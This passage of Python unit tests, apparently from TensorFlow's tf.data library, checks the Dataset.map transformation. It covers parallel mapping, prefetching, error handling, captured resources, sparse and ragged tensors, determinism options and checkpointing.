self.assertAllEqual(component[i]**2, result_component) @combinations.generate(_test_combinations()) def testImplicitDisposeParallelMapDataset(self, apply_map): # Tests whether a parallel map dataset will be cleaned up correctly when # the pipeline does not run it until exhaustion. # The pipeline is TensorSliceDataset -> MapDataset(square_3) -> # RepeatDataset(1000). components = (np.arange(1000), np.array([[1, 2, 3]]) * np.arange(1000)[:, np.newaxis], np.array(37.0) * np.arange(1000)) dataset = self._parallel_map_dataset_factory(components, apply_map, 1000, 100, 100) # NOTE(mrry): Also test that the prefetching thread is cancelled correctly. dataset = dataset.prefetch(100) get_next = self.getNext(dataset) for _ in range(3): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testParallelMapUnspecifiedOutputSize(self, apply_map): components = np.array([1., 2., 3., np.nan, 5.]).astype(np.float32) dataset = dataset_ops.Dataset.from_tensor_slices(components) dataset = apply_map( dataset, lambda x: array_ops.check_numerics(x, "message"), num_parallel_calls=2) get_next = self.getNext(dataset) for _ in range(3): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testParallelMapError(self, apply_map): components = np.array([1., 2., 3., np.nan, 5.]).astype(np.float32) dataset = dataset_ops.Dataset.from_tensor_slices(components) dataset = apply_map( dataset, lambda x: array_ops.check_numerics(x, "message"), num_parallel_calls=2) get_next = self.getNext(dataset) for _ in range(3): self.evaluate(get_next()) # The 4th element is NaN, so `array_ops.check_numerics()` should fail. with self.assertRaises(errors.InvalidArgumentError): self.evaluate(get_next()) self.evaluate(get_next()) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testPrefetchError(self, apply_map): components = np.array([1., 2., 3., np.nan, 5.]).astype(np.float32) dataset = dataset_ops.Dataset.from_tensor_slices(components) dataset = apply_map( dataset, lambda x: array_ops.check_numerics(x, "message")).prefetch(2) get_next = self.getNext(dataset) for _ in range(3): self.evaluate(get_next()) # The 4th element is NaN, so `array_ops.check_numerics()` should fail. with self.assertRaises(errors.InvalidArgumentError): self.evaluate(get_next()) self.evaluate(get_next()) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testCaptureIterator(self, apply_map): def _build_ds(iterator): def _map_fn(x): get_next = iterator.get_next() return x * get_next return apply_map(dataset_ops.Dataset.range(10), _map_fn) def _build_graph(): if context.executing_eagerly(): captured_iterator = iter(dataset_ops.Dataset.range(10)) else: captured_iterator = dataset_ops.make_initializable_iterator( dataset_ops.Dataset.range(10)) ds = _build_ds(captured_iterator) return captured_iterator, ds captured_iter, ds = _build_graph() if not context.executing_eagerly(): self.evaluate(captured_iter.initializer) get_next = self.getNext(ds, requires_initialization=True) for i in range(10): self.assertEqual(i * i, self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testCaptureHashTable(self, apply_map): # NOTE(mrry): We must use the V2 variants of `HashTable` # etc. because these produce a `tf.resource`-typed output that is # compatible with the in-graph function implementation. default_val = -1 keys = constant_op.constant(["brain", "salad", "surgery"]) values = constant_op.constant([0, 1, 2], dtypes.int64) table = lookup_ops.HashTable( lookup_ops.KeyValueTensorInitializer(keys, values), default_val) input_sentences = dataset_ops.Dataset.from_tensor_slices( ["brain brain tank salad surgery", "surgery brain"]) dataset = apply_map(input_sentences, lambda x: string_ops.string_split([x]).values) dataset = apply_map(dataset, table.lookup) get_next = self.getNext(dataset, requires_initialization=True) self.evaluate(table.initializer) self.evaluate(get_next()) self.evaluate(get_next()) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) # TODO(b/123904513) @combinations.generate(_test_combinations_with_mode_v1("graph")) def testCaptureQueue(self, apply_map): elements = np.random.randint(100, size=[200]) queue = data_flow_ops.FIFOQueue(200, dtypes.int64, shapes=[]) enqueue_op = queue.enqueue_many(elements) close_op = queue.close() dataset = dataset_ops.Dataset.from_tensors(0).repeat(-1) dataset = apply_map(dataset, lambda _: queue.dequeue()) get_next = self.getNext(dataset, requires_initialization=True) self.evaluate(enqueue_op) self.evaluate(close_op) for element in elements: self.assertEqual(element, self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) # TODO(b/117581999): Possible deadlock in eager mode, debug. @combinations.generate(_test_combinations_with_mode_v1("graph")) def testCaptureSameResourceMultipleTimes(self, apply_map): elements = np.random.randint(100, size=[200]) queue = data_flow_ops.FIFOQueue( 200, dtypes.int64, shapes=[], shared_name="shared_queue") queue_2 = data_flow_ops.FIFOQueue( 200, dtypes.int64, shapes=[], shared_name="shared_queue") enqueue_op = queue.enqueue_many(elements) close_op = queue.close() dataset = dataset_ops.Dataset.from_tensors(0).repeat(-1) dataset = apply_map(dataset, lambda _: (queue.dequeue(), queue_2.dequeue())) self.evaluate(enqueue_op) self.evaluate(close_op) get_next = self.getNext(dataset, requires_initialization=True) for i in range(100): self.assertCountEqual([elements[i * 2], elements[i * 2 + 1]], self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testSeededStatefulOperatorIsProperlyStateful(self, apply_map): dataset = dataset_ops.Dataset.from_tensors(0).repeat(10) fn = lambda _: random_ops.random_uniform((), seed=11) dataset = apply_map(dataset, fn).batch(2) get_next = self.getNext(dataset, requires_initialization=True) random_values = [] with self.assertRaises(errors.OutOfRangeError): while True: random_values.extend(self.evaluate(get_next())) self.assertLen(random_values, 10) self.assertGreater(np.abs(np.diff(random_values)).max(), 1e-6) get_next = self.getNext(dataset, requires_initialization=True) random_values_2 = [] with self.assertRaises(errors.OutOfRangeError): while True: random_values_2.extend(self.evaluate(get_next())) # Randomness is repeatable given same seed self.assertAllClose(random_values, random_values_2) @combinations.generate(_test_combinations()) def testStatefulMapKeepsStateAcrossIterators(self, apply_map): dataset = dataset_ops.Dataset.from_tensors(0).repeat(10) fn = lambda _: random_ops.random_uniform((), seed=11) dataset = apply_map(dataset, fn).repeat(1000).batch(10) get_next = self.getNext(dataset) random_values = self.evaluate(get_next()) # Assert that one of the next 99 batches yielded by the iterator is # different from the first. i = 0 while i < 99: if np.any(random_values != self.evaluate(get_next())): break i += 1 self.assertLess(i, 99) @combinations.generate(_test_combinations()) def testStatefulOperationInShortCircuit(self, apply_map): counter_var = variable_scope.get_variable( "counter", (), dtypes.int32, use_resource=True) def increment_fn(x): counter_var.assign_add(1) return x dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, increment_fn) get_next = self.getNext(dataset, requires_initialization=True) self.evaluate(counter_var.initializer) for i in range(10): self.assertEqual(i, self.evaluate(counter_var)) self.assertEqual(i, self.evaluate(get_next())) self.assertEqual(10, self.evaluate(counter_var)) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) self.assertEqual(10, self.evaluate(counter_var)) @combinations.generate(_test_combinations()) def testMapDict(self, apply_map): dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, lambda x: {"foo": x * 2, "bar": x**2}) dataset = apply_map(dataset, lambda d: d["foo"] + d["bar"]) self.assertDatasetProduces( dataset, expected_output=[i * 2 + i**2 for i in range(10)]) @combinations.generate(_test_combinations()) def testMapNamedtuple(self, apply_map): # construct dataset of tuples labels = dataset_ops.Dataset.range(10) images = apply_map(labels, lambda l: -l) dataset_tuple = dataset_ops.Dataset.zip((labels, images)) # convert dataset of tuples to dataset of namedtuples example = collections.namedtuple("Example", ["label", "image"]) dataset_namedtuple = apply_map(dataset_tuple, example) def preprocess_tuple(label, image): image = 2 * image return label, image def preprocess_namedtuple(example): return example._replace(image=2 * example.image) # preprocess both datasets dataset_tuple = apply_map(dataset_tuple, preprocess_tuple) dataset_namedtuple = apply_map(dataset_namedtuple, preprocess_namedtuple) next_tuple = self.getNext(dataset_tuple) next_namedtuple = self.getNext(dataset_namedtuple) # make sure both datasets contain the same data for i in range(10): tuple_, namedtuple_ = self.evaluate([next_tuple(), next_namedtuple()]) self.assertEqual(tuple_, namedtuple_) self.assertEqual(tuple_, (i, -2 * i)) with self.assertRaises(errors.OutOfRangeError): self.evaluate(next_namedtuple()) @combinations.generate(_test_combinations()) def testMapAttrs(self, apply_map): if attr is None: self.skipTest("attr module is not available.") # construct dataset of tuples labels = dataset_ops.Dataset.range(10) images = apply_map(labels, lambda l: -l) dataset = dataset_ops.Dataset.zip((labels, images)) @attr.s(cmp=True) class Example(object): label = attr.ib() image = attr.ib() dataset = apply_map(dataset, Example) def preprocess(example): example.image = 2 * example.image return example dataset = apply_map(dataset, preprocess) get_next = self.getNext(dataset) for i in range(10): data = self.evaluate(get_next()) self.assertEqual(data, Example(i, -2 * i)) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testUseStepContainerInMap(self, apply_map): row = np.arange(6) dataset = dataset_ops.Dataset.from_tensors(row) dataset = apply_map(dataset, lambda elems: map_fn.map_fn(lambda x: x * x, elems)) self.assertDatasetProduces(dataset, expected_output=[row**2]) @combinations.generate(_test_combinations()) def testCaseAndCondInMap(self, apply_map): def control_map_fn(x, y): def multiply(): return x * 2 def divide(): return x // 2 def defaults_two(): return control_flow_ops.cond( math_ops.equal(math_ops.mod(x, 2), 0), multiply, divide, name="cond_mult") pred_fn_pairs = [ (math_ops.logical_or(math_ops.equal(y, 2), math_ops.equal(y, 3)), defaults_two), ] return control_flow_ops.case( pred_fn_pairs, default=multiply, exclusive=True) def build_dataset(row, num): dataset = dataset_ops.Dataset.from_tensor_slices(row) return apply_map(dataset, lambda x: control_map_fn(x, num)) row = np.arange(6) for num in [2, 3, 4]: get_next = self.getNext(build_dataset(row, num)) for i in range(6): self.assertEqual( (i // 2 if i % 2 else i * 2) if (num == 2 or num == 3) else i * 2, self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testCaseInWhileInMap(self, apply_map): def control_map_fn(x, y): def multiply(): return x * 2 def divide(): return x // 2 pred_fn_pairs = [ (math_ops.logical_or(math_ops.equal(y, 2), math_ops.equal(y, 3)), divide), ] return control_flow_ops.case( pred_fn_pairs, default=multiply, exclusive=True) def build_dataset(row, num): dataset = dataset_ops.Dataset.from_tensors(row) return apply_map( dataset, lambda elems: map_fn.map_fn(lambda x: control_map_fn(x, num), elems)) row = np.arange(6) for num in [2, 3, 4]: get_next = self.getNext(build_dataset(row, num)) self.assertAllEqual( [x // 2 if (num == 2 or num == 3) else x * 2 for x in row], self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testCaseAndCondInWhileInMap(self, apply_map): def control_map_fn(x, y): def multiply(): return x * 2 def divide(): return x // 2 def defaults_two(): return control_flow_ops.cond( math_ops.equal(math_ops.mod(x, 2), 0), multiply, divide, name="cond_mult") pred_fn_pairs = [ (math_ops.logical_or(math_ops.equal(y, 2), math_ops.equal(y, 3)), defaults_two), ] return control_flow_ops.case( pred_fn_pairs, default=multiply, exclusive=True) row = np.arange(6) num = 2 dataset = dataset_ops.Dataset.from_tensors(row) dataset = apply_map( dataset, lambda elems: map_fn.map_fn(lambda x: control_map_fn(x, num), elems)) get_next = self.getNext(dataset) self.assertAllEqual([(x // 2 if x % 2 else x * 2) if (num == 2 or num == 3) else x * 2 for x in row], self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testNestedListMapDataset(self, apply_map): dataset = dataset_ops.Dataset.from_tensors([0, 1, 2]).repeat(10) dataset = apply_map(dataset, lambda a: ([a[1], a[0] + a[2]], a[1])) expected_output = [(np.array([1, 2]), 1)] * 10 self.assertDatasetProduces(dataset, expected_output=expected_output) @combinations.generate( combinations.times(_test_combinations(), combinations.combine(buffer_size=[1, 2, 3, 4]))) def testPrefetch(self, apply_map, buffer_size): # We will use this event to test that `_map_py_func()` has been invoked a # certain number of times (6 times, to be exact) after consuming fewer # elements from the iterator. ev = threading.Event() set_event_during_invocation = 5 def _map_py_func(x): if x == set_event_during_invocation: ev.set() return x * x def _map_fn(x): return script_ops.py_func(_map_py_func, [x], x.dtype) # We can indirectly observe that varying the buffer size has the intended # effect by observing when `ev` is set (on the 6th invocation of # `_map_py_func()`). # NOTE(mrry): We do not test with `buffer_size == # set_event_during_invocation`, because we must consume at least one element # to start the prefetching. dataset = dataset_ops.Dataset.range(100) dataset = apply_map(dataset, _map_fn).prefetch(buffer_size) get_next = self.getNext(dataset) event_will_be_set_after_consuming = ( set_event_during_invocation - buffer_size + 1) ev.clear() for i in range(event_will_be_set_after_consuming): self.assertFalse(ev.is_set()) self.assertEqual(i * i, self.evaluate(get_next())) ev.wait() for i in range(event_will_be_set_after_consuming, 100): self.assertEqual(i * i, self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testReturnList(self, apply_map): dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, lambda x: [x, constant_op.constant(37.0)]) self.assertDatasetProduces( dataset, expected_output=[(i, 37.0) for i in range(10)]) @combinations.generate(_test_combinations()) def testMultiOutputPyFunc(self, apply_map): # The `tf.py_func()` op returns a list of tensors for its outputs. def _map_fn(x_tensor): def _map_py_func(x): return x, np.array(37.0, dtype=np.float64) return script_ops.py_func( _map_py_func, [x_tensor], [dtypes.int64, dtypes.float64]) dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, _map_fn) self.assertDatasetProduces( dataset, expected_output=[(i, 37.0) for i in range(10)]) @combinations.generate(_test_combinations()) def testSparse(self, apply_map): def _sparse(i): return sparse_tensor.SparseTensorValue( indices=np.array([[0, 0]]), values=(i * np.array([1])), dense_shape=np.array([1, 1])) dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, _sparse) self.assertDatasetProduces( dataset, expected_output=[_sparse(i) for i in range(10)]) @combinations.generate(_test_combinations()) def testSparseChain(self, apply_map): def _sparse(i): return sparse_tensor.SparseTensorValue( indices=np.array([[0, 0]]), values=(i * np.array([1])), dense_shape=np.array([1, 1])) def _check(i): self.assertTrue(sparse_tensor.is_sparse(i)) return sparse_ops.sparse_concat(0, [i, i]) dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, _sparse) dataset = apply_map(dataset, _check) self.assertDatasetProduces( dataset, expected_output=[self.evaluate(_check(_sparse(i))) for i in range(10)]) @combinations.generate(_test_combinations_with_mode("eager")) def testSparseMapShapeInference(self, apply_map): row_lengths = np.random.randint(0, 4, size=128) values = np.ones(np.sum(row_lengths)) sparse = ragged_tensor.RaggedTensor.from_row_lengths( values, row_lengths).to_sparse() dataset = dataset_ops.Dataset.from_tensor_slices(sparse) dataset = dataset.batch(32, drop_remainder=True) dataset = apply_map(dataset, lambda x: x) self.assertEqual((32, 3), dataset.element_spec.shape) @combinations.generate(_test_combinations_with_mode("eager")) def testSparseMapShapeInferencePartial(self, apply_map): row_lengths = np.random.randint(0, 4, size=128) values = np.ones(np.sum(row_lengths)) sparse = ragged_tensor.RaggedTensor.from_row_lengths( values, row_lengths).to_sparse() dataset = dataset_ops.Dataset.from_tensor_slices(sparse) dataset = dataset.batch(32, drop_remainder=False) dataset = apply_map(dataset, lambda x: x) self.assertEqual([None, 3], dataset.element_spec.shape.as_list()) @combinations.generate(_test_combinations()) def testTensorArray(self, apply_map): def _tensor_array(i): i = math_ops.cast(i, dtypes.int32) return ( tensor_array_ops.TensorArray(dtypes.int32, element_shape=(), size=i) .unstack(math_ops.range(i, dtype=dtypes.int32))) dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, _tensor_array) self.assertDatasetProduces( dataset, expected_output=[list(range(i)) for i in range(10)]) @combinations.generate(_test_combinations()) def testTensorArrayChain(self, apply_map): def _tensor_array(i): i = math_ops.cast(i, dtypes.int32) return ( tensor_array_ops.TensorArray(dtypes.int32, element_shape=(), size=i) .unstack(math_ops.range(i, dtype=dtypes.int32))) def _check(x): self.assertIsInstance(x, tensor_array_ops.TensorArray) return x.identity() dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, _tensor_array) dataset = apply_map(dataset, _check) self.assertDatasetProduces( dataset, expected_output=[list(range(i)) for i in range(10)]) @combinations.generate(_test_combinations()) def testRagged(self, apply_map): def _ragged(i): return ragged_tensor.RaggedTensor.from_tensor(i * [[1]]) dataset = dataset_ops.Dataset.range(5) dataset = apply_map(dataset, _ragged) self.assertDatasetProduces( dataset, expected_output=[ragged_factory_ops.constant([[i]]) for i in range(5)]) @combinations.generate(_test_combinations()) def testRaggedChain(self, apply_map): def _ragged(i): return ragged_tensor.RaggedTensor.from_tensor(i * [[1]]) def _concat(i): self.assertTrue(ragged_tensor.is_ragged(i)) return ragged_concat_ops.concat([i, i], 0) dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, _ragged) dataset = apply_map(dataset, _concat) self.assertDatasetProduces( dataset, expected_output=[ self.evaluate(_concat(ragged_factory_ops.constant([[i]]))) for i in range(10) ]) # TODO(b/123904513) @combinations.generate(_test_combinations_with_mode_v1("graph")) def testParallelMapOutOfRangeError(self, apply_map): def raising_py_func(i): if i == 100: raise StopIteration() else: return i dataset = dataset_ops.Dataset.range(105) dataset = apply_map( dataset, lambda x: script_ops.py_func(raising_py_func, [x], dtypes.int64), num_parallel_calls=2) get_next = self.getNext(dataset) for i in range(100): self.assertEqual(i, self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testConstantOutput(self, apply_map): dataset = dataset_ops.Dataset.range(10) dataset = apply_map(dataset, lambda x: [x, "hello", 10]) self.assertDatasetProduces(dataset, [(i, b"hello", 10) for i in range(10)]) @combinations.generate(test_base.graph_only_combinations()) def testWarnOnSeedFromOuterGraph(self): with ops.Graph().as_default() as g: g.seed = 10 warnings.simplefilter("always") def _check_warning(caught_warnings, expected_result): found_warning = False for warning in caught_warnings: if ("Explicitly set the seed in the function if this is not the " "intended behavior" in str(warning)): found_warning = True break self.assertEqual(found_warning, expected_result) # map_fun doesn't use seed, so no warning is generated. with warnings.catch_warnings(record=True) as w: _ = dataset_ops.Dataset.range(10).map(math_ops.square) _check_warning(w, False) def random_func(x): x = math_ops.add(x, 1) random_ops.random_shuffle([x, math_ops.square(x)]) return x with warnings.catch_warnings(record=True) as w: _ = dataset_ops.Dataset.range(10).map(random_func) _check_warning(w, True) def random_func_seeded(x): ops.get_default_graph().seed = None random_ops.random_shuffle(x) return x with warnings.catch_warnings(record=True) as w: _ = dataset_ops.Dataset.range(10).batch(2).map(random_func_seeded) _check_warning(w, False) with warnings.catch_warnings(record=True) as w: _ = dataset_ops.Dataset.range(10).batch(2).map( lambda x: random_ops.random_shuffle(x, seed=37)) _check_warning(w, False) @combinations.generate(_test_combinations()) def testNestedDatasetMap(self, apply_map): dataset = dataset_ops.Dataset.from_tensors([1.0, 2.0, 3.0]) dataset = apply_map(dataset, dataset_ops.Dataset.from_tensor_slices) dataset = apply_map(dataset, lambda ds: ds.batch(3)).flat_map(lambda x: x) self.assertDatasetProduces(dataset, expected_output=[[1.0, 2.0, 3.0]]) @combinations.generate(_test_combinations()) def testReturnValueError(self, apply_map): dataset = dataset_ops.Dataset.from_tensors([1.0, 2.0, 3.0]) with self.assertRaisesRegex( TypeError, r"Unsupported return value from function passed to " r"Dataset.map\(\)"): _ = apply_map(dataset, lambda x: Foo) @combinations.generate(test_base.default_test_combinations()) def testBrokenFunctionErrorOnInitialization(self): dataset = dataset_ops.Dataset.from_tensor_slices([1.0, 2.0, 3.0]) def broken_function(_): """A function deliberately designed to fail on instantiation.""" value = [] tensor_value = attr_value_pb2.AttrValue() tensor_value.tensor.CopyFrom( tensor_util.make_tensor_proto( value, dtype=dtypes.float32, shape=[0], verify_shape=False)) dtype_value = attr_value_pb2.AttrValue(type=dtypes.int32.as_datatype_enum) # Create a "Const" op with a `tf.float32` value and a `tf.int32` type. const_tensor = ops.get_default_graph().create_op( "Const", [], [dtypes.int32], attrs={ "value": tensor_value, "dtype": dtype_value }, name="BrokenConst").outputs[0] return const_tensor dataset = dataset.map(broken_function) self.assertDatasetProduces( dataset, expected_error=(errors.InvalidArgumentError, "Type mismatch")) @combinations.generate( combinations.times( _test_combinations_with_mode("graph"), combinations.combine(num_parallel_calls=[None, 12]))) def testNoInterOpParallelism(self, apply_map, num_parallel_calls): dataset = dataset_ops.Dataset.from_tensors(0) def _get_tid(): return np.int64(threading.current_thread().ident) def _map_fn(_): tids = [] for _ in range(10): tids.append(script_ops.py_func(_get_tid, [], dtypes.int64)) return tids dataset = apply_map(dataset, _map_fn) dataset._variant_tensor.op._set_attr("use_inter_op_parallelism", attr_value_pb2.AttrValue(b=False)) get_next = self.getNext(dataset) tids = self.evaluate(get_next()) self.assertTrue(all(tids[0] == tid for tid in tids)) @combinations.generate( combinations.times(_test_combinations(), _short_circuit_test_cases(), combinations.combine(num_parallel_calls=[None, 12]))) def testShortCircuit(self, apply_map, structure, fn, num_parallel_calls): dataset = self.structuredDataset(structure).repeat() dataset = apply_map(dataset, fn, num_parallel_calls=num_parallel_calls) get_next = self.getNext(dataset) if isinstance(structure, tuple): expected = fn(*self.evaluate(self.structuredElement(structure))) else: expected = fn(self.evaluate(self.structuredElement(structure))) self.assertEqual(expected, self.evaluate(get_next())) @combinations.generate( combinations.times(_test_combinations(), combinations.combine(num_parallel_calls=[None, 12]))) def testShortCircuitCapturedInput(self, apply_map, num_parallel_calls): captured_t = variables.Variable(42) dataset = self.structuredDataset(None).repeat() dataset = apply_map( dataset, lambda x: captured_t, num_parallel_calls=num_parallel_calls) self.evaluate(variables.global_variables_initializer()) get_next = self.getNext(dataset, requires_initialization=True) self.assertEqual(42, self.evaluate(get_next())) @combinations.generate( combinations.combine( tf_api_version=2, mode=["eager", "graph"], num_parallel_calls=[None, 12])) def testPreserveCardinality(self, num_parallel_calls): def py_fn(_): raise StopIteration() dataset = dataset_ops.Dataset.from_tensors(0).map( lambda x: script_ops.py_func(py_fn, [x], dtypes.int64), num_parallel_calls=num_parallel_calls) get_next = self.getNext(dataset) with self.assertRaises(errors.InvalidArgumentError): self.evaluate(get_next()) @combinations.generate(_test_combinations_with_mode("graph")) def testCollectionCopy(self, apply_map): w = variable_scope.get_variable("w", []) self.assertIn(w, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)) def func(x): self.assertIn(w, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)) return x dataset = dataset_ops.Dataset.from_tensors(constant_op.constant(1.0)) _ = apply_map(dataset, func) @combinations.generate( combinations.times( _test_combinations_with_mode_v1("graph"), combinations.combine(num_parallel_calls=[None, 12]))) def testMapCancellation(self, apply_map, num_parallel_calls): # Checks that a cancellation of is threaded through to map transformation. queue = data_flow_ops.FIFOQueue(10, dtypes.int32, ()) def fn(_): return queue.dequeue() dataset = dataset_ops.Dataset.range(1) dataset = apply_map(dataset, fn, num_parallel_calls=num_parallel_calls) get_next = self.getNext(dataset, requires_initialization=True) with self.cached_session() as sess: thread = self.checkedThread(self.assert_op_cancelled, args=(get_next(),)) thread.start() time.sleep(0.2) sess.close() thread.join() # TODO(b/126553094): map doesnt work with variable defined inside function in # eager mode, possible Graph tensors leak out of the function building context # from function graph in eager mode as variables are created in init_scope. @combinations.generate(test_base.graph_only_combinations()) def testCreateVariableInsideFunctionWithGetter(self): def func(_): with variable_scope.variable_scope( "variable", reuse=variable_scope.AUTO_REUSE): counter_var = variable_scope.get_variable( "counter", (), dtypes.int32, use_resource=True) return counter_var.assign_add(1) dataset = dataset_ops.Dataset.from_tensors(0).repeat(10) if hasattr(dataset, "map_with_legacy_function"): # NOTE: In the legacy function, resource is captured by value. with self.assertRaisesWithPredicateMatch( AttributeError, "'Tensor' object has no attribute 'assign_add'"): dataset.map_with_legacy_function(func) dataset = dataset.map(func) self.evaluate(variables.global_variables_initializer()) get_next = self.getNext(dataset, requires_initialization=True) for i in range(10): self.assertEqual(i + 1, self.evaluate(get_next())) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) @combinations.generate(_test_combinations()) def testCaptureVariable(self, apply_map): counter_var = variable_scope.get_variable( "counter", (), dtypes.int32, use_resource=True) dataset = dataset_ops.Dataset.from_tensors(0).repeat(10) dataset = apply_map(dataset, lambda _: counter_var.assign_add(1)) get_next = self.getNext(dataset, requires_initialization=True) self.evaluate(counter_var.initializer) for i in range(10): self.assertEqual(i, self.evaluate(counter_var)) self.assertEqual(i + 1, self.evaluate(get_next())) self.assertEqual(10, self.evaluate(counter_var)) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) self.assertEqual(10, self.evaluate(counter_var)) @combinations.generate(_test_combinations_with_mode_v1("graph")) def testCaptureUninitializedVariableError(self, apply_map): counter_var = variable_scope.get_variable( "counter", (), dtypes.int32, use_resource=True) dataset = dataset_ops.Dataset.from_tensors(0).repeat(10) dataset = apply_map(dataset, lambda _: counter_var.assign_add(1)) get_next = self.getNext(dataset, requires_initialization=True) with self.assertRaises(errors.NotFoundError): self.evaluate(get_next()) # TODO(b/121264236): add eager mode coverage when we have multi-device setup. @combinations.generate(_test_combinations_with_mode_v1("graph")) def testCaptureConstantsWithConflictingDevices(self, apply_map): config = config_pb2.ConfigProto(device_count={"CPU": 3}) with self.cached_session(config=config): with ops.device("/device:CPU:0"): a = constant_op.constant(3.0) with ops.device("/device:CPU:1"): b = constant_op.constant(5.0) def func(_): return math_ops.add(a, b) dataset = dataset_ops.Dataset.from_tensors(0).repeat(10) dataset = apply_map(dataset, func) expected_output = [8.0] * 10 self.assertDatasetProduces(dataset, expected_output=expected_output) # TODO(b/121264236): add eager mode coverage when we have multi-device setup. @combinations.generate(_test_combinations_with_mode_v1("graph")) def testReferenceVariablesWithMultipleDevices(self, apply_map): config = config_pb2.ConfigProto(device_count={"CPU": 3}) with self.cached_session(config=config): def func(_): with ops.device("/device:CPU:0"): a = variables.VariableV1(3.0) with ops.device("/device:CPU:1"): b = variables.VariableV1(5.0) return math_ops.add(a, b) # NOTE: Use the legacy function implementation as eager function will # convert RefVariables to ResourceVariables. dataset = dataset_ops.Dataset.from_tensors(0).repeat(10) dataset = apply_map(dataset, func) self.evaluate(variables.global_variables_initializer()) expected_output = [8.0] * 10 self.assertDatasetProduces( dataset, expected_output=expected_output, requires_initialization=True) # TODO(b/121264236): add eager mode coverage when we have multi-device setup. @combinations.generate(_test_combinations_with_mode_v1("graph")) def testResourceVariablesWithMultipleDevices(self, apply_map): config = config_pb2.ConfigProto(device_count={"CPU": 3}) def func(_): with variable_scope.variable_scope( "variable", reuse=variable_scope.AUTO_REUSE): with ops.device("/device:CPU:0"): a_var = variable_scope.get_variable( "a", (), dtypes.int32, use_resource=True) a_var = math_ops.add(a_var, 1) with ops.device("/device:CPU:1"): b_var = variable_scope.get_variable( "b", (), dtypes.int32, use_resource=True) return math_ops.add(a_var, b_var) g = ops.Graph() with self.session(config=config, graph=g): dataset = dataset_ops.Dataset.from_tensors(0).repeat(10) dataset = apply_map(dataset, func) self.evaluate(variables.global_variables_initializer()) expected_output = [1] * 10 self.assertDatasetProduces( dataset, expected_output=expected_output, requires_initialization=True) @combinations.generate( combinations.times( _test_combinations(), combinations.combine( local_determinism=[None, True, False], global_determinism=[True, False]))) def testDeterminismConfiguration(self, apply_map, local_determinism, global_determinism): expect_determinism = local_determinism or (local_determinism is None and global_determinism) elements = list(range(1000)) def dataset_fn(delay_ms): def sleep(x): time.sleep(delay_ms / 1000) return x def map_function(x): if math_ops.equal(x, 0): return script_ops.py_func(sleep, [x], x.dtype) else: return x dataset = dataset_ops.Dataset.from_tensor_slices(elements) dataset = apply_map( dataset, map_function, num_parallel_calls=2, deterministic=local_determinism) opts = options_lib.Options() opts.deterministic = global_determinism dataset = dataset.with_options(opts) return dataset self.checkDeterminism( dataset_fn, expect_determinism, expected_elements=elements) @combinations.generate(_test_combinations()) def testNoneComponent(self, apply_map): dataset = dataset_ops.Dataset.from_tensors((42, None)) def map_function(x, y): if y is None: return x / 2 return x dataset = apply_map(dataset, map_function) self.assertDatasetProduces(dataset, expected_output=[21]) @combinations.generate(test_base.eager_only_combinations()) def testCheckpointLargeBuffer(self): if pywrap_sanitizers.is_tsan_enabled(): self.skipTest("Creating a large buffer causes OOM when using tsan.") # Tensor of size 512M dataset = dataset_ops.Dataset.from_tensors( array_ops.ones((128, 1024, 1024), dtype=dtypes.float32)) dataset = dataset.repeat() # Set parallelism to 5 to exceed the 2GB protobuf limit dataset = dataset.map(lambda x: x * 2, num_parallel_calls=5) iterator = iter(dataset) next(iterator) # request an element to fill the parallel map buffer ckpt = trackable_utils.Checkpoint(iterator=iterator) manager = checkpoint_management.CheckpointManager( ckpt, self.get_temp_dir(), max_to_keep=1) manager.save() class MapCheckpointTest(checkpoint_test_base.CheckpointTestBase, parameterized.TestCase): @combinations.generate( combinations.times(test_base.default_test_combinations(), checkpoint_test_base.default_test_combinations(), combinations.combine(num_parallel_calls=[None, 2]))) def testCore(self, verify_fn, num_parallel_calls): tensor_slice_len = 7 num_epochs = 2 multiplier = 37.0 def _build_ds(): components = (np.arange(tensor_slice_len), np.array([[1, 2, 3]]) * np.arange(tensor_slice_len)[:, np.newaxis], np.array(multiplier) * np.arange(tensor_slice_len)) def _map_fn(x, y, z): return math_ops.square(x), math_ops.square(y), math_ops.square(z) return (dataset_ops.Dataset.from_tensor_slices(components).map( _map_fn, num_parallel_calls=num_parallel_calls).repeat(num_epochs)) verify_fn(self, _build_ds, tensor_slice_len * num_epochs) @combinations.generate( combinations.times(test_base.default_test_combinations(), combinations.combine(num_parallel_calls=[None, 2]))) def testSaveStatefulFunction(self, num_parallel_calls): def _build_ds(): def _map_fn(x): return 